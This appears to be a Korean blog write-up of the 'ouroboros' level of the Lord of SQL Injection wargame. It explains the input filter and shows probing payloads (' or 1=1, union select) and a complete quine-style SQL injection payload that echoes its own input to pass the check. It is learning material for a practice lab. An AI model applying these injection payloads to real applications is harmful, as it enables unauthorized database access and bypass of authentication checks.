-
<Lord of SQL Injection> ouroborosWargame/Lord of SQL Injection 2021. 12. 3. 13:08
GET 방식으로 전달받은 pw에서 prob, _, ., rol, up, join, @를 필터링한다.
이 pw를 사용한 쿼리의 결과를 배열로 가져온 뒤, pw에 값이 참이면 pw를 출력한다.
그리고 결과 배열의 pw와 전달받은 pw가 갑과 타입 모두 같아야 문제가 풀린다.
먼저, ?pw=' or 1=1%23을 입력하면
아무것도 출력하지 않는다. 이를 통해 prob_ouroboros 테이블이 비어있음을 짐작할 수 있다.
union을 사용해
?pw=' union select 1%23을 입력하면
Pw : 1을 출력한다.
?pw=' union select 1%23을 입력했는데 $result['pw']는 1이 되었다.
$_GET['pw']에 해당하는 부분인 'union select 1%23 구문을
$result['pw']에서도 똑같이 출력하면 문제가 풀릴 듯 하다.
Quine
입력없이 자기 자신의 소스 코드를 출력하는 프로그램이다.
Quine의 개념을 이 문제에 적용하면
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
?pw='union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),
char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23를 입력하면
입력한 코드가 그대로 출력되어 문제가 해결된다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> alien (0) 2021.12.06 <Lord of SQL Injection> zombie (0) 2021.12.05 <Lord of SQL Injection> phantom (0) 2021.12.02 <Lord of SQL Injection> frankenstein (0) 2021.12.01 <Lord of SQL Injection> blue dragon (0) 2021.11.29